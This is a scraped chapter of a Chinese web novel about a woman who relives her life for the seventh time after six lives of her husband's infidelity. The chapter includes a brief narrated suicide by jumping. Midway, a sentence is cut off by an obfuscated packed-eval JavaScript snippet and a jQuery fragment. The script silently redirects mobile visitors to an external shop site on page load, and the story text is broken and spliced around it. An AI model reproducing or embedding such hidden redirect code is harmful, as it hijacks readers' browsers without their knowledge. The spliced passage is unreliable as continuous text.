文趣网 > 其他小说 > 我曾无数次路过你 > 1. 第七次醒来
    陆汀溪睁开眼,天花板上还是那片惨白。

    和她的人生一样。

    窗外有鸟叫声,细细碎碎的,夹杂在轰隆轰隆的施工声里,很吵。

    她侧过头,看了眼外面。对面的小区还没建完,楼体刚起了个框架,灰扑扑的水泥露在那,死气沉沉的。塔吊的臂悬在空中,一动不动,像只沉睡的巨兽。

    她盯着那个半成品看了会儿,心里盘算着时间,这次应该更早了。然后掀开被子,下了床。

    床头柜上的手机亮了一下。

    2019年3月14日。

    第七次了。

    她又重生了。

    也可以说是重启了。因为除了第一次,之后的每一次生死,她都能预判。让自己回到过去的某一个时间点,去干预她未来的人生走向。

    前六次醒来,她的第一个动作永远是抓过手机,翻陈屿的聊天记录、查他的定位、回忆上一个轮回里他是在哪一天、哪一刻、和谁在一起。她像一只被电击过的小白鼠,每一次都以为自己找到了规律,每一次都会被新的时间点击中。然后崩溃、哭泣、在一个撑不住的瞬间闭眼,再睁眼,又是一个新的轮回。

    但这一次不一样。

    陆汀溪把手机扣在床头,去卫生间洗了把脸。水龙头的水很凉,凉到手指发白,但她很平静,甚至是麻木。

    镜子里的人真实年龄三十一岁,这一年她二十四,研究生毕业没多久,初入职场。眼前还是那张熟悉的脸,但比之前的每一次都年轻,也更有活力,只是嘴角挂着的还是那抹苦笑,眼里是不符合这个年纪的疲惫。

    和上一世一样。和上上世也一样。

    她忽然觉得自己很失败。

    顶着这张长得还不错的脸,每一世都为了一个这么普通的男人哭。明明早就知道会是这样的结果,却还是不撞南墙不死心。

    撞了六次,头破血流。

    那个普通的男人叫陈屿。是个方方面面都中规中矩的人。赚的不多不少,家境普普通通,能力也不突出,唯独长得中等偏上。除了那张会哄人的嘴,找不出别的优点了。

    第一世。

    她怀孕七个月,偶然看到陈屿手机里的消息。小号里,一条叫小宝儿的信息被置顶。

    她点开一看,整个人僵住了。

    那些暧昧的话,像刀子,重重地刺向她,字字戳心。“想你了小宝儿”、“明天找个酒店共度一上午”、“到楼下了”她看到一个酒店定位。

    那个时间,他说要见客户,她记得很清楚。

    为什么记得清楚?

    因为,那天她肚子疼,一个人躺在床上,想给陈屿打电话,但又怕打扰他工作。后来疼到浑身是汗,她坚持不了了,才打了过去。陈屿倒是也回来了,只不过,不是从公司,也不是从客户那,而是酒店。

    她记得当时她还很愧疚,怪自己肚子疼的不是时候,反反复复问陈屿客户那边怎么办?

    陆汀溪看着屏幕笑了。

    眼泪不受控制地涌出来。

    原来绝望到一定程度,真的会笑。觉得自己可笑,人生可笑,还有这命运,太会捉弄人。

    她晃了晃脑袋,又使劲揉了揉眼睛,在腿上掐了一把,确认这不是一场梦。屏幕里那些字明明白白地躺在那,每一个都在告诉她:你老公出轨了。

    她从来没想过会有这一天,也没想过这么戏剧化的一幕会发生在她身上,更没想过陈屿会背叛。

    他们十九岁在一起,从大学到工作,从校园到婚纱,她以为他们的感情坚不可摧,她以为他足够爱自己。但没想到,高估了自己,低估了人性。

    原来从头到尾,认真的只有她而已。

    陆汀溪晃晃悠悠走到阳台上,看着窗外的万家灯火,忽然就觉得特没劲。

    没继续下去的意义了。

    她站在十楼,一跃而下。

    坠落的过程很短,短到来不及想任何事情。风灌进耳朵,然后一切归于寂静。

    她以为那就是结局了。

    一个人的十年,换一场自由落体。不值得,但也不重要了。

    让她没想到的是,命运又和她开了一次玩笑。这次更大,也更匪夷所思。

    她睁开眼时,天花板的那道裂缝还在。

    手机显示三年前。

    陈屿的呼吸声从枕边传来,平稳、均匀,像什么都没发生过。她躺在旁边缓了好久,久到手臂发麻,久到天光从窗帘缝隙里渗进来。

    她才意识到一件事,她回来了,回到了所有事情发生之前。

    那是第一次死而复生。

    陆汀溪花了三天捋清脉络。这个时间点,她还没怀孕,那个叫“小宝儿”的人也还没出现。

    这一次,她以为她能赢。

    她没有声张,不动声色地做了一件事,在那个女人该出现的时间,让陈屿陪着自己去了趟东京,完美地避开了两人的邂逅。

    那个月,陈屿的手机很安静。没有陌生女人的消息,没有晚归的借口,没有洗澡时手机屏幕突然亮起又突然暗掉。

    她以为这一次真的挡住了。但一个月后,她看到陈屿的微信多了一个新的聊天框。

    头像是只猫,昵称两个字:小妖。

    陆汀溪盯着那两个字看了很久。她不认识这个头像,不认识这个昵称,但她认识那种语气。“小哥哥在干嘛?”“再不回我真的要生气了”。

    和上一世不一样的人,不一样的称呼,但一样的配方,一样的恶心。

    她手指上划,翻到第一条消息,日期是她帮他订机票的那天。

    也就是说,上飞机之前,陈屿就已经加了这个人。

    她以为把他支出去就能躲开那个女人,没想到是陈屿带着新的女人上了飞机。她挡得了一次,挡不了一世。以为是改了轨迹,其实什么都没改。

    陆汀溪不甘心。

    又重启了第三次。

    这一世,她查得更严,盯得更紧,但陈屿还是换了第三个人。

    然后第四世、第五世、第六世,她越来越熟练,而陈屿总有办法找到新的时间点、新的人。

    他不是一时冲动,也不是被诱惑。

    他就是会主动出轨。

    这件事和是谁、什么时候、

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523490|203383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在哪里无关。

    只和他有关。

    而她花了六世才想明白。

    陆汀溪擦干脸,走进厨房,给自己煮了一碗面。水开了,下面,捞起来,放了一点盐,又打一颗荷包蛋,在加一些小青菜。她站在灶台前犹豫了一会儿,然后拉开冰箱,拿出一盒牛肉卷,放了些进锅里。

    几分钟后,面煮好了,她端着碗坐到餐桌前。

    手机震了两下。

    「宝贝你起了吗?」

    宝贝。

    这个词以前她看了会开心。十九岁那年在操场边,他第一次叫她宝贝,她脸红了一整天。后来他们一起读了大学,一起工作赚钱。他把戒指套在她手上那天说:“这辈子就你了。”

    她信了。信了十二年。

    然后她在怀孕七个月的时候,发现他把“宝贝”叫给了别人。

    陆汀溪把手机翻过去扣在桌上,开始吃面。面有点坨了,荷包蛋煮久了,蛋黄噎人,但她一口一口吃完了。吃完她还洗了碗,又换了套好看的衣服,出门了。

    电梯在六楼停了一下。

    一个男人走进来,白T恤,黑裤子,个子很高,长得还不错。他手里提着一个袋子,灰色的,像是垃圾袋。男人看了她一眼,没说话,站在她斜后方的位置,不远不近,刚好不会让人觉得冒犯,又刚好能闻到一点点他身上洗衣液的味道。

    陆汀溪别过脸。

    电梯缓缓下行。两人都目视前方。

    陆汀溪盯着跳动的数字,没注意到身后的男人一直在看她,目光很轻,落在她乌黑的长发。

    到了一楼,门开了,陆汀溪走出去。那个男人跟在她后面走出来,走了几步,忽然开口:“等一下。”

    她回头。

    男人递过来一个玲娜贝儿钥匙挂,粉色的小狐狸,耳朵歪了一边。

    “东西掉了。”

    他的手指捏着那只小狐狸的尾巴,指节微微泛白。手很好看,修长白皙,连指甲都修剪得整整齐齐,没有多余的纹路。他把钥匙递过来的时候,没看她的脸,垂着眼,看不出情绪。

    “谢谢。”陆汀溪接过来。手指碰到他的指尖,凉的,和他这个人一样,看着冷淡。

    她礼貌笑了笑,然后转身出了电梯,脚步不快不慢,高跟鞋踩在地面上,发出哒哒的声音,听着挺轻快。

    男人站在电梯里,看着她的背影,电梯慢慢要合拢,他伸手挡了一下,门又弹开了。

    然后男人出来,朝另一个方向走了。

    陆汀溪刚走出单元门,手机震了。

    陈屿发来的。

    「怎么不回信息?还没起来吗?想吃什么?晚上带大宝去吃。」

    陆汀溪看着这条消息,扯了扯嘴角,鼻子里发出一声冷哼。

    这人就是这样,说尽了所有的好话,最擅长玩弄真心。她信任他,而他对不起这份信任,在她最脆弱的时候,她看过了那个让人痛彻心扉的真相。

    陆汀溪没回,她把钥匙挂随手揣进包里,开车去了公司。

    这一世,不欺心,不求人。

    她只信自己,只看前路。